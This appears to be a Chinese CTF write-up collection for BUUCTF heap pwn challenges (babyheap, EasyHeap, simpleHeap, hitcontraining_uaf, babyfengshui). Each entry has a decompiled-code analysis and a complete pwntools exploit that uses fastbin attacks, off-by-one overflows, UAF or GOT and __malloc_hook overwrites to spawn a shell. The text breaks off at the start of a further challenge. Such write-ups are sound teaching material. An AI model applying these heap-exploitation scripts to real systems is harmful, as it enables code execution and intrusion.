【WriteUp】Buuctf-pwn/heap_1

babyheap_0ctf_2017

思路

保护

[*] '/root/CTF/Pwn/babyheap_0ctf_2017/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    #ubuntu16

程序有四个功能

  • Allocate:分配内存大小并给出 index
  • Fill:输入 index ,并分配内存进行内容写入操作
  • Free:输入 index ,释放相应的内存空间
  • Dump:输入 index ,打印内容

Allocate

void __fastcall sub_D48(__int64 a1)
{
  signed int i; // [rsp+10h] [rbp-10h]
  signed int v2; // [rsp+14h] [rbp-Ch]
  void *v3; // [rsp+18h] [rbp-8h]

  for ( i = 0; i <= 15; ++i )
  {
    if ( !*(_DWORD *)(24LL * i + a1) )
    {
      printf("Size: ");
      v2 = sub_138C();
      if ( v2 > 0 )
      {
        if ( v2 > 4096 )
          v2 = 4096;
        v3 = calloc(v2, 1uLL);
        if ( !v3 )
          exit(-1);
        *(_DWORD *)(24LL * i + a1) = 1;
        *(_QWORD *)(a1 + 24LL * i + 8) = v2;
        *(_QWORD *)(a1 + 24LL * i + 16) = v3;
        printf("Allocate Index %d\n", (unsigned int)i);
      }
      return;
    }
  }
}
  • 分配的大小不能超过 4096 字节
  • (24LL i + a1):置 1 表示 chunk 存在
  • (a1 + 24LL i + 8):存储 chunk 的大小
  • (a1 + 24LL i + 16):存储 chunk 的地址

Fill

__int64 __fastcall sub_E7F(__int64 a1)
{
  __int64 result; // rax
  int v2; // [rsp+18h] [rbp-8h]
  int v3; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  result = sub_138C();
  v2 = result;
  if ( (signed int)result >= 0 && (signed int)result <= 15 )
  {
    result = *(unsigned int *)(24LL * (signed int)result + a1);
    if ( (_DWORD)result == 1 )
    {
      printf("Size: ");
      result = sub_138C();
      v3 = result;
      if ( (signed int)result > 0 )
      {
        printf("Content: ");
        result = sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3);
      }
    }
  }
  return result;
}
  • 先判断chunk 是否存在
  • 如果存在把输入的内容写入 (24LL v2 + a1 + 16) 对应的地址中。
  • 没有对 v3 的大小做限制,存在堆溢出

Free

__int64 __fastcall sub_F50(__int64 a1)
{
  __int64 result; // rax
  int v2; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  result = sub_138C();
  v2 = result;
  if ( (signed int)result >= 0 && (signed int)result <= 15 )
  {
    result = *(unsigned int *)(24LL * (signed int)result + a1);
    if ( (_DWORD)result == 1 )
    {
      *(_DWORD *)(24LL * v2 + a1) = 0;
      *(_QWORD *)(24LL * v2 + a1 + 8) = 0LL;
      free(*(void **)(24LL * v2 + a1 + 16));
      result = 24LL * v2 + a1;
      *(_QWORD *)(result + 16) = 0LL;
    }
  }
  return result;
}
  • 先判断对应位是否为 1 ,即 chunk 是否存在
  • 把对应位 (24LL v2 + a1) 置 0
  • 记录 chunk 大小的 (24LL v2 + a1 + 8) 置 0
  • 释放指针 (24LL v2 + a1 + 16) 对应的内存

Dump

signed int __fastcall sub_1051(__int64 a1)
{
  signed int result; // eax
  signed int v2; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  result = sub_138C();
  v2 = result;
  if ( result >= 0 && result <= 15 )
  {
    result = *(_DWORD *)(24LL * result + a1);
    if ( result == 1 )
    {
      puts("Content: ");
      sub_130F(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8));
      result = puts(byte_14F1);
    }
  }
  return result;
}
  • 先判断对应位是否为 1 ,即 chunk 是否存在
  • 打印长度为 (24LL v2 + a1 + 8) 存储字节数内容指针 (24LL v2 + a1 + 16) 指向的内容

通过fastbin attack将一个small_chunk链入fast_bin,然后取出,再将原本的small_chunk释放掉,此时这个small_chunk在unsorted_bin里,又同时被从fast_bin中申请出来使用,直接泄露libc

从unsored_bin里分割出一个小chunk, 通过构造的 fack chunk 堆溢出覆写 __malloc_hook 完成 get shell 。

EXP

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
debug = 2
context(arch='amd64', endian='el', os='linux')
#context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
else:
    p = remote('node3.buuoj.cn', 28507)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./chall', checksec=False)
one = 0x4526a

def add(size):
    p.sendlineafter('Command: ','1')
    p.sendlineafter('Size: ',str(size))

def fill(index,content):
    p.sendlineafter('Command: ','2')
    p.sendlineafter('Index: ',str(index))
    p.sendlineafter('Size: ',str(len(content)))
    p.sendlineafter('Content: ',content)

def free(index):
    p.sendlineafter('Command: ','3')
    p.sendlineafter('Index: ',str(index))

def dump(index):
    p.sendlineafter('Command: ','4')
    p.sendlineafter('Index: ',str(index))

add(0x20) #0
add(0x20) #1
add(0x20) #2
add(0x20) #3
add(0x100) #4

free(1)
free(2)

pd = p64(0)*5
pd += p64(0x31)
pd += p64(0)*5
pd += p64(0x31)
pd += p8(0xc0)
fill(0,pd)   #从chunk0开始溢出,改掉chunk2的fd指向chunk4(small_chunk)

pd = p64(0)*5
pd += p64(0x31)
fill(3,pd)   #溢出chunk3改掉chunk4的大小,使chunk4可以从fast_bin中取出

add(0x20) #1  
add(0x20) #2 <-> 4  取出chunk4

pd = p64(0)*5
pd += p64(0x111)
fill(3,pd) #将chunk4大小改回small_bin

add(0x100)  #防止top_chunk合并
free(4)    #chunk4==chunk2  chunk4被free,进入unsorted_bin 但是chunk2还在使用

dump(2)   #打印main_arena+0x58
p.recvline()
main_arena = u64(p.recv(6).ljust(8, '\x00')) - 0x58
libc_base = main_arena - 0x3c4b20
success('libc_base = ' + hex(libc_base))

target = libc_base + 0x3c4aed #malloc_hook - 0x23
add(0x60) #从unsorted_bin(chunk4)中切割一部分
free(4)

pd = p64(target)
fill(2,pd) #chunk4被free,但是可以通过修改chunk2来改变chunk4的fd

add(0x60)
add(0x60) #申请到malloc_hook - 0x23

pd = p8(0)*3
pd += p64(0)*2 #对齐内存
pd += p64(libc_base + one)
fill(6,pd)

add(0x100)
p.interactive()

总结

unsorted_bin/small_bin泄露libc

unsortbin 有一个特性,就是如果 usortbin 只有一个 bin ,它的 fd 和 bk 指针会指向同一个地址(unsorted bin 链表的头部),这个地址为 main_arena + 0x58 ,而且 main_arena 又相对 libc 固定偏移 0x3c4b20
所以我们得到fd的值,然后再减去0x58再减去main_arena相对于libc的固定偏移,即得到libc的基地址。所以我们需要把 chunk 改成大于 fastbin 的大小,这样 free 后能进入 unsortbin 让我们能够泄露 libc 基址。

unsortedbin
all: 0x559e6d2710c0 —▸ 0x7fdd74d3db78 (main_arena+88) ◂— 0x559e6d2710c0
pwndbg> x/6xg 0x559e6d2710c0
0x559e6d2710c0: 0x0000000000000000  0x0000000000000111
0x559e6d2710d0: 0x00007fdd74d3db78  0x00007fdd74d3db78
0x559e6d2710e0: 0x0000000000000000  0x0000000000000000

查看存放结构体的内存地址

执行vmmap命令。可以找到mmap分配的首地址。然后从分配的首地址(0x1b5748c0d000)依次向后查看,这块内存空间应该都是0。只要有数据的地方应该就是存放结构体的地方。

一直找,然后我找到了结构体的位置,地址为0x4953f3a41a30

用chunk0来讲解一下。

每个chunk是一个结构体数组。 每个结构体有三个元素,第一个元素chunk0的标志位,用来判断该当前结构体是否被使用,如果被使用,则第二个元素是该chunk的大小,第三个元素是chunk的首地址。如果没有被使用,则全部是0。

0x0000000000000001 (chunk0的标志位,1表示该chunk存在) 0x0000000000000020(chunk0的大小) 0x00005654f6fd0010(chunk0的mem地址)

劫持__malloc_hook

要修改__malloc_hook的值。我们先找到__malloc_hook的地址 , 查看该__malloc_hook附近的内存空间。

pwndbg> p &__malloc_hook
$1 = (void *(**)(size_t, const void *)) 0x7fa959537b10 <__malloc_hook>
pwndbg> x/10xg 0x7fa959537b10-0x40
0x7fa959537ad0 <_IO_wide_data_0+272>: 0x0000000000000000  0x0000000000000000
0x7fa959537ae0 <_IO_wide_data_0+288>: 0x0000000000000000  0x0000000000000000
0x7fa959537af0 <_IO_wide_data_0+304>: 0x00007fa959536260  0x0000000000000000
0x7fa959537b00 <__memalign_hook>: 0x0000000000000000  0x0000000000000000
0x7fa959537b10 <__malloc_hook>:   0x00007fa9591b826a  0x0000000000000000

想要在这范围内进行malloc,就需要绕过malloc的限制。附近7f比较多,可以找一个内存地址,将7f当为我们要malloc的size位。

一般找&malloc_hook-0x23,即0x7fd25e3b7aed。如果在这个地址进行malloc,则size位为0x7f。那我们分配一个0x60大小的chunk,即可绕过malloc的限制。 算出该地址对libc的基址的偏移是0x3c4aed

pwndbg> x/10x 0x7fa959537b10-0x23
0x7fa959537aed <_IO_wide_data_0+301>: 0xa959536260000000  0x000000000000007f
0x7fa959537afd: 0x0000000000000000  0x0000000000000000
0x7fa959537b0d <__realloc_hook+5>:    0xa9591b826a000000  0x000000000000007f
0x7fa959537b1d: 0x0000000000000000  0x0000000000000000
0x7fa959537b2d <main_arena+13>:   0x0000000000000000  0x0000000000000000

可以构造pd如下

pd = p8(0)*3
pd += p64(0)*2 #对齐内存
pd += p64(libc_base+one) #one_gadget

[ZJCTF 2019]EasyHeap

思路

保护

[*] '/root/CTF/Pwn/easyheap/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    #ununtu16

create_heap

unsigned __int64 create_heap()
{
  signed int i; // [rsp+4h] [rbp-1Ch]
  size_t size; // [rsp+8h] [rbp-18h]
  char buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  for ( i = 0; i <= 9; ++i )
  {
    if ( !heaparray[i] )
    {
      printf("Size of Heap : ");
      read(0, &buf, 8uLL);
      size = atoi(&buf);
      heaparray[i] = malloc(size);
      if ( !heaparray[i] )
      {
        puts("Allocate Error");
        exit(2);
      }
      printf("Content of heap:", &buf);
      read_input(heaparray[i], size);
      puts("SuccessFul");
      return __readfsqword(0x28u) ^ v4;
    }
  }
  return __readfsqword(0x28u) ^ v4;
}

edit_heap

unsigned __int64 edit_heap()
{
  __int64 v0; // ST08_8
  int v2; // [rsp+4h] [rbp-1Ch]
  char buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  printf("Index :");
  read(0, &buf, 4uLL);
  v2 = atoi(&buf);
  if ( v2 < 0 || v2 > 9 )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( heaparray[v2] )
  {
    printf("Size of Heap : ", &buf);
    read(0, &buf, 8uLL);
    v0 = atoi(&buf);
    printf("Content of heap : ", &buf);
    read_input(heaparray[v2], v0);
    puts("Done !");
  }
  else
  {
    puts("No such heap !");
  }
  return __readfsqword(0x28u) ^ v4;
}

存在堆溢出漏洞,edit时的size是我们重新输入的,并不是creat时的

delete_heap

unsigned __int64 delete_heap()
{
  int v1; // [rsp+Ch] [rbp-14h]
  char buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index :");
  read(0, &buf, 4uLL);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 > 9 )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( heaparray[v1] )
  {
    free(heaparray[v1]);
    heaparray[v1] = 0LL;
    puts("Done !");
  }
  else
  {
    puts("No such heap !");
  }
  return __readfsqword(0x28u) ^ v3;
}

将chunk释放掉,指针清零,没有UAF

l33t

int l33t()
{
  return system("cat /home/pwn/flag");
}

无pie保护,存在可利用的后门函数,


通过house_of_spirt将free_got改为后门l33t的地址,执行free来cat flag,buu这题的flag目录不对

那就将free_got改为system,然后free一个内容为/bin/sh\x00的chunk

具体操作是在存放chunk指针的heaparray数组附近伪造一个chunk,将一个chunk的地址改为free_got,通过编辑chunk的内容,将free_got改为system_plt

EXP

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
debug = 1
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
else:
    p = remote('node3.buuoj.cn', 25102)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./chall', checksec=False)
one = 0x4526a

def create(size,content):
    p.recvuntil('Your choice :')
    p.sendline('1')
    p.recvuntil('Size of Heap : ')
    p.send(str(size))
    p.recvuntil('Content of heap:')
    p.send(str(content))    

def edit(index,size,content):
    p.recvuntil('Your choice :')
    p.sendline('2')
    p.recvuntil('Index :')
    p.sendline(str(index))
    p.recvuntil('Size of Heap : ')
    p.send(str(size))
    p.recvuntil('Content of heap : ')
    p.send(str(content))

def free(index):
    p.recvuntil('Your choice :')
    p.sendline('3')
    p.recvuntil('Index :')
    p.sendline(str(index))

free_got = elf.got['free']
system_plt = elf.plt['system']
addr_l33t = 0x400C23
target = 0x6020ad #0x6020b0-3

create(0x60,'aaaa')#0
create(0x60,'bbbb')#1
create(0x60,'cccc')#2
free(2)

pd = '/bin/sh\x00'
pd += p64(0)*12
pd += p64(0x71)
pd += p64(target)
edit(1,len(pd),pd) #堆溢出修改chun2,在heaparray附近构造fake_chunk,使得chunk大小为0x60(0x7f)

create(0x60,'cccc')
create(0x60,'dddd') #3 fake chunk

pd = 'a' * 0x23 + p64(free_got)
edit(3,len(pd),pd) #将chunk0的地址改为free_got

pd = p64(system_plt)
edit(0,len(pd),pd) #修改free_got

free(1) #提权
p.interactive()

[V&N2020 公开赛]simpleHeap

思路

保护

[*] '/root/CTF/Pwn/simpleHeap/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    #ubuntu16

Add

signed int sub_AFF()
{
  signed int result; // eax
  int v1; // [rsp+8h] [rbp-8h]
  signed int v2; // [rsp+Ch] [rbp-4h]

  v1 = sub_AB2();
  if ( v1 == -1 )
    return puts("Full");
  printf("size?");
  result = sub_9EA();
  v2 = result;
  if ( result > 0 && result <= 111 )
  {
    qword_2020A0[v1] = malloc(result);
    if ( !qword_2020A0[v1] )
    {
      puts("Something Wrong!");
      exit(-1);
    }
    dword_202060[v1] = v2;
    printf("content:");
    read(0, qword_2020A0[v1], dword_202060[v1]);
    result = puts("Done!");
  }
  return result;
}

申请fast_bin大小的chunk

Edit

int sub_CBB()
{
  int v1; // [rsp+Ch] [rbp-4h]

  printf("idx?");
  v1 = sub_9EA();
  if ( v1 < 0 || v1 > 9 || !qword_2020A0[v1] )
    exit(0);
  printf("content:");
  sub_C39(qword_2020A0[v1], dword_202060[v1]);
  return puts("Done!");
}

sub_C39函数里的关键点:

if ( (signed int)i > a2 )
      break;

此处应该是>=,这里造成了单字节溢出漏洞

Show

int sub_D6F()
{
  int v1; // [rsp+Ch] [rbp-4h]

  printf("idx?");
  v1 = sub_9EA();
  if ( v1 < 0 || v1 > 9 || !qword_2020A0[v1] )
    exit(0);
  puts((const char *)qword_2020A0[v1]);
  return puts("Done!");
}

Delete

int sub_DF7()
{
  int v1; // [rsp+Ch] [rbp-4h]

  printf("idx?");
  v1 = sub_9EA();
  if ( v1 < 0 || v1 > 9 || !qword_2020A0[v1] )
    exit(0);
  free(qword_2020A0[v1]);
  qword_2020A0[v1] = 0LL;
  dword_202060[v1] = 0;
  return puts("Done!");
}

无UAF


overlaping攻击,通过单字节溢出改掉chunk1的size=chunk1+chunk2,然后把这个大的chunk放入unsorted_bin,再把chunk1分配出来,此刻chunk2在使用而且又在unsorted_bin中,泄露libc

将chunk4(2)拿出来再free到fast_bin里

但是chunk2(4)最初被分配了还在使用 构造fd - > fake_chunk

在malloc_hook附近构造fake_chunk,因为one_gadget有限制,此时不能直接将malloc_hook改为one_gadget

这题应该同时改掉realloc_hook和malloc_hook

调用malloc函数---->判断是否有malloc_hook,有则调用之---->我们这里malloc_hook设置的为realloc函数+offset,程序便到此处执行---->执行realloc函数时,会判断是否有realloc_hook,有则调用之---->我们这里realloc_hook设置的为one_gadget,所以便会转到one_gadget处执行。

执行malloc提权

EXP

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
debug = 1
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
    one = [0x45216,0x4527a,0xf02a4,0xf1147]
else:
    p = remote('node3.buuoj.cn', 29884)
    libc = ELF('./libc-2.23.so', checksec=False)
    one = [0x45216,0x4526a,0xf02a4,0xf1147]     #我的本地环境没有更新
elf = ELF('./chall', checksec=False)

def add(size,content):
    p.recvuntil('choice: ')
    p.sendline('1')
    p.recvuntil('size?')
    p.sendline(str(size))
    p.recvuntil('content:')
    p.sendline(content)

def edit(index,content): 
    p.sendline('2')
    p.recvuntil('idx?')
    p.sendline(str(index))
    p.recvuntil('content:')
    p.sendline(content)

def show(index):
    p.recvuntil('choice: ')
    p.sendline('3')
    p.recvuntil('idx?')
    p.sendline(str(index))

def free(index):
    p.recvuntil('choice: ')
    p.sendline('4')
    p.recvuntil('idx?')
    p.sendline(str(index))

add(0x58,'aaaa') #0
add(0x60,'bbbb') #1
add(0x60,'cccc') #2
add(0x60,'dddd') #3

pd = 0x58*'a' + '\xe1' #申请0x58,多出来的8字节是chunk1的prev_size,这样就可以溢出到chunk1的size
edit(0,pd)
free(1)
add(0x60,'aaaa') #1

show(2)
main_arean = u64(p.recv(6).ljust(8,'\x00')) - 0x58
libc_base = main_arean - 0x3c4b20
malloc_hook = libc_base+libc.sym['__malloc_hook']
realloc = libc_base+libc.sym['__libc_realloc']
fake_chunk = malloc_hook - 0x23
success('libc_base = ' + hex(libc_base))

add(0x60,'aaaa') #4
free(4)
edit(2,p64(fake_chunk))

pd = 'a'*0xb+p64(libc_base + one[1])+p64(realloc+13) 
add(0x60,'aaaa')
add(0x60,pd)

p.recvuntil('choice: ')
p.sendline('1')
p.recvuntil('size?')
p.sendline(str(0x60))
p.interactive()

hitcontraining_uaf

思路

保护

[*] '/root/CTF/Pwn/hitcontraining_uaf/chall'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
    #ubuntu16

add_note

int add_note()
{
  int result; // eax
  _DWORD *v1; // esi
  char buf; // [esp+0h] [ebp-18h]
  size_t size; // [esp+8h] [ebp-10h]
  int i; // [esp+Ch] [ebp-Ch]

  result = count;
  if ( count > 5 )
    return puts("Full");
  for ( i = 0; i <= 4; ++i )  //可以申请五个chunk
  {
    result = (int)notelist[i];
    if ( !result )
    {
      notelist[i] = malloc(8u); //notelist[i]是0x8大小的chunk
      if ( !notelist[i] )
      {
        puts("Alloca Error");
        exit(-1);
      }
      *notelist[i] = print_note_content; //notelist[i]前四字节是print_note_content地址
      printf("Note size :");
      read(0, &buf, 8u);
      size = atoi(&buf);
      v1 = notelist[i];                  //notelist[i]后四字节是content的地址
      v1[1] = malloc(size);
      if ( !notelist[i][1] )
      {
        puts("Alloca Error");
        exit(-1);
      }
      printf("Content :");
      read(0, (void *)notelist[i][1], size);
      puts("Success !");
      return count++ + 1;
    }
  }
  return result;
}

申请一个chunk会出现两个,第一个是指针函数,第二个是chunk的content,也就是我们可控的堆块

print_note

_DWORD *print_note()
{
  _DWORD *result; // eax
  char buf; // [esp+8h] [ebp-10h]
  int v2; // [esp+Ch] [ebp-Ch]

  printf("Index :");
  read(0, &buf, 4u);
  v2 = atoi(&buf);
  if ( v2 < 0 || v2 >= count )
  {
    puts("Out of bound!");
    _exit(0);
  }
  result = notelist[v2];
  if ( result )
    result = (_DWORD *)((int (__cdecl *)(_DWORD *))*notelist[v2])(notelist[v2]);
  return result;
}

print返回的是add_note时malloc的第一个堆指针指向的内容(也就是context段)

就是在指针堆块里,调用前4字节的函数,打印后4字节指过去的东西。

del_note

_DWORD *del_note()
{
  _DWORD *result; // eax
  char buf; // [esp+8h] [ebp-10h]
  int v2; // [esp+Ch] [ebp-Ch]

  printf("Index :");
  read(0, &buf, 4u);
  v2 = atoi(&buf);
  if ( v2 < 0 || v2 >= count )
  {
    puts("Out of bound!");
    _exit(0);
  }
  result = notelist[v2];
  if ( result )
  {
    free((void *)notelist[v2][1]);
    free(notelist[v2]);
    result = (_DWORD *)puts("Success");
  }
  return result;
}

依次free指针堆块,内容堆块

存在UAF

magic

int magic()
{
  return system("/bin/sh");
}

一个UAF的利用

申请两个chunk(0x20), 然后依次free

fastbins:
0x10: chunk1指针堆块(B) —▸ chunk0指针堆块(A)◂— 0x0
0x18: 0x0
0x20: 0x0
0x28: chunk1内容堆块 —▸ chunk0内容堆块 ◂— 0x0
0x30: 0x0
0x38: 0x0
0x40: 0x0

存在UAF,这时申请一个0x8的chunk,内容填入后门函数,chunkA前四位就是后门函数地址,打印chunkA的内容即可

EXP

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
debug = 2
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
else:
    p = remote('node3.buuoj.cn', 27038)
elf = ELF('./chall', checksec=False)

def add(size,content):
    p.recvuntil('Your choice :')
    p.sendline('1')   
    p.recvuntil('Note size :')
    p.sendline(str(size))
    p.recvuntil('Content :')
    p.sendline(content)

def free(idx):
    p.recvuntil('Your choice :')
    p.sendline('2')
    p.recvuntil('Index :')
    p.sendline(str(idx))

def show(idx):
    p.recvuntil('Your choice :')
    p.sendline('3')
    p.recvuntil('Index :')
    p.sendline(str(idx))

addr_magic = 0x8048945
add(0x20,'aaaa')
add(0x20,'aaaa')
free(0)
free(1)

add(0x8,p32(addr_magic))
show(0)

p.interactive()

思路2

一个UAF加double_free,只不过这次是一次free两个flag

申请一个chunk(0x8),free两次形成double_free

fastbins
0x10: 0x9a04000 —▸ 0x9a04010 ◂— 0x9a04000

此时申请一个大小不是0x8的chunk,将0x9a04000作为指针堆块free出去

fastbins
0x10: 0x9a04010 —▸ 0x9a04000 —▸ 0x80485fb (print_note_content) ◂— out    4, al

这时再分配一个chunk(0x8),这时就可以往0x9a04000里写入magic

打印magic提权

EXP2

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
debug = 1
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
else:
    p = remote('node3.buuoj.cn', 27038)
elf = ELF('./chall', checksec=False)

def add(size,content):
    p.recvuntil('Your choice :')
    p.sendline('1')   
    p.recvuntil('Note size :')
    p.sendline(str(size))
    p.recvuntil('Content :')
    p.sendline(content)

def free(idx):
    p.recvuntil('Your choice :')
    p.sendline('2')
    p.recvuntil('Index :')
    p.sendline(str(idx))

def show(idx):
    p.recvuntil('Your choice :')
    p.sendline('3')
    p.recvuntil('Index :')
    p.sendline(str(idx))

addr_magic = 0x8048945
add(0x8,'aaaa')
free(0)
free(0)

add(0x20,'aaaa')
gdb.attach(p)
add(0x8,p32(addr_magic))
show(0)

p.interactive()

babyfengshui_33c3_2016

思路

保护

[*] '/root/CTF/Pwn/babyfengshui_33c3_2016/chall'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
    #ubuntu16 

add

_DWORD *__cdecl sub_8048816(size_t a1)
{
  void *s; // ST24_4
  _DWORD *v2; // ST28_4

  s = malloc(a1);
  memset(s, 0, a1);
  v2 = malloc(0x80u);
  memset(v2, 0, 0x80u);
  *v2 = s;
  ptr[(unsigned __int8)byte_804B069] = v2;
  printf("name: ");
  sub_80486BB((char *)ptr[(unsigned __int8)byte_804B069] + 4, 0x7C);
  sub_8048724(++byte_804B069 - 1);
  return v2;
}

进行了两次堆的申请,并且把第一次申请的堆的地址赋值到第二次申请的堆的数据之中,由此可以判断出此函数利用了一个结构体,而第二次申请的堆的大小是固定的 (0x80)

这个0x80的堆其实就是个结构体

struct User{
    char *description; //第一个堆的地址
    char name[0x7c];   //name
};

free

unsigned int __cdecl sub_8048905(unsigned __int8 a1)
{
  unsigned int v2; // [esp+1Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  if ( a1 < (unsigned __int8)byte_804B069 && ptr[a1] )
  {
    free(*(void **)ptr[a1]);
    free(ptr[a1]);
    ptr[a1] = 0;
  }
  return __readgsdword(0x14u) ^ v2;
}

检查空间是否存在,free掉前面申请的空间并赋值为0。

show

unsigned int __cdecl sub_804898F(unsigned __int8 a1)
{
  unsigned int v2; // [esp+1Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  if ( a1 < (unsigned __int8)byte_804B069 && ptr[a1] )
  {
    printf("name: %s\n", (char *)ptr[a1] + 4);
    printf("description: %s\n", *(_DWORD *)ptr[a1]);
  }
  return __readgsdword(0x14u) ^ v2;
}

显示数据

edit

unsigned int __cdecl sub_8048724(unsigned __int8 a1)
{
  char v2; // [esp+17h] [ebp-11h]
  int v3; // [esp+18h] [ebp-10h]
  unsigned int v4; // [esp+1Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  if ( a1 < (unsigned __int8)byte_804B069 && ptr[a1] )
  {
    v3 = 0;
    printf("text length: ");
    __isoc99_scanf("%u%c", &v3, &v2);
    if ( (char *)(v3 + *(_DWORD *)ptr[a1]) >= (char *)ptr[a1] - 4 )
    {
      puts("my l33t defenses cannot be fooled, cya!");
      exit(1);
    }
    printf("text: ");
    sub_80486BB(*(char **)ptr[a1], v3 + 1);
  }
  return __readgsdword(0x14u) ^ v4;
}

更新堆块的内容,重新输入text的长度

重点是if ( (char )(v3 + (_DWORD )ptr[a1]) >= (char )ptr[a1] - 4 )这个长度限制来防止堆溢出

这个限制是建立在 description 和 user 结构题在内存中是紧邻的情况


先申请一个chunk0 add(0x20,"aaaa",0x20,'bbbb')

pwndbg> x/30xw 0x8ff5000
0x8ff5000:  0x00000000  0x00000029  0x62626262  0x00000000
0x8ff5010:  0x00000000  0x00000000  0x00000000  0x00000000
0x8ff5020:  0x00000000  0x00000000  0x00000000  0x00000089
0x8ff5030:  0x08ff5008  0x61616161  0x00000000  0x00000000
0x8ff5040:  0x00000000  0x00000000  0x00000000  0x00000000
0x8ff5050:  0x00000000  0x00000000  0x00000000  0x00000000
0x8ff5060:  0x00000000  0x00000000  0x00000000  0x00000000
0x8ff5070:  0x00000000  0x00000000

堆的布局是text_chunk + name_chunk
update在判断长度的时候存在问题,
看堆布局以chunk0来说,判断条件就是:`0x8ff5000+0x20>=0x8ff5020
chunk0和chunk0(name)其实不一定是相邻的,这样的话就有了实现溢出的可能

EXP

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from easyLibc import *
debug = 2
context(arch='amd64', endian='el', os='linux')
#context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
    libc = ELF('/lib/i386-linux-gnu/libc.so.6',checksec=False)
else:
    p = remote('node3.buuoj.cn', 29635)
    libc = ELF('./libc-2.23.so', checksec=False)
elf = ELF('./chall', checksec=False)

def add(size,name,length,text):
    p.recvuntil("Action: ")
    p.sendline("0")
    p.recvuntil("size of description: ")
    p.sendline(str(size))
    p.recvuntil("name: ")
    p.sendline(name)
    p.recvuntil("text length: ")
    p.sendline(str(length))
    p.recvuntil("text: ")
    p.sendline(text)

def free(index):
    p.recvuntil("Action: ")
    p.sendline("1")
    p.recvuntil("index: ")
    p.sendline(str(index))

def show(index):
    p.recvuntil("Action: ")
    p.sendline("2")
    p.recvuntil("index: ")
    p.sendline(str(index))

def edit(index,length,text):
    p.recvuntil("Action: ")
    p.sendline("3")
    p.recvuntil("index: ")
    p.sendline(str(index))
    p.recvuntil("text length: ")
    p.sendline(str(length))
    p.recvuntil("text: ")
    p.sendline(text)

add(0x80,"aaaa",0x80,'bbbb')
add(0x80,"aaaa",0x80,'bbbb')
add(0x80,"aaaa",0x80,'/bin/sh\00')
free(0)
add(0x100,"aaaa",0x100,'bbbb') #text_chunk3在chunk1上面 name_chunk3在最低下,造成可以溢出
free_got = elf.got['free']
pd = 'a'*(0x100+0x8+0x8+0x80+0x8) + p32(free_got)
edit(3,len(pd),pd)

show(1)
p.recvuntil('description: ')
addr_free = u32(p.recv(4))
libc_base = addr_free - libc.sym['free']
addr_sys = libc_base + libc.sym['system']

pd = p32(addr_sys)
edit(1,len(pd),pd)

free(2)
p.interactive()

roarctf_2019_easy_pwn

思路

保护

[*] '/root/CTF/Pwn/roarctf_2019_easy_pwn/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    #ubuntu16

add

__int64 sub_C46()
{
  __int64 result; // rax
  int v1; // ST0C_4
  unsigned int i; // [rsp+4h] [rbp-1Ch]
  unsigned int v3; // [rsp+8h] [rbp-18h]
  signed int v4; // [rsp+8h] [rbp-18h]
  void *v5; // [rsp+10h] [rbp-10h]

  result = 0LL;
  for ( i = 0; (signed int)i <= 15; ++i )
  {
    result = *((unsigned int *)&unk_202040 + 4 * (signed int)i);
    if ( !(_DWORD)result )
    {
      printf("size: ");
      v4 = sub_BE0(v3);
      if ( v4 > 0 )
      {
        if ( v4 > 4096 )
          v4 = 4096;
        v5 = calloc(v4, 1uLL);
        if ( !v5 )
          exit(-1);
        *((_DWORD *)&unk_202040 + 4 * (signed int)i) = 1;
        *((_DWORD *)&unk_202044 + 4 * (signed int)i) = v4;
        qword_202048[2 * (signed int)i] = v5;
        v1 = qword_202048[2 * (signed int)i] & 0xFFF;
        printf("the index of ticket is %d \n", i);
      }
      return i;
    }
  }
  return result;
}

edit

__int64 sub_E82()
{
  unsigned int v1; // [rsp+Ch] [rbp-14h]
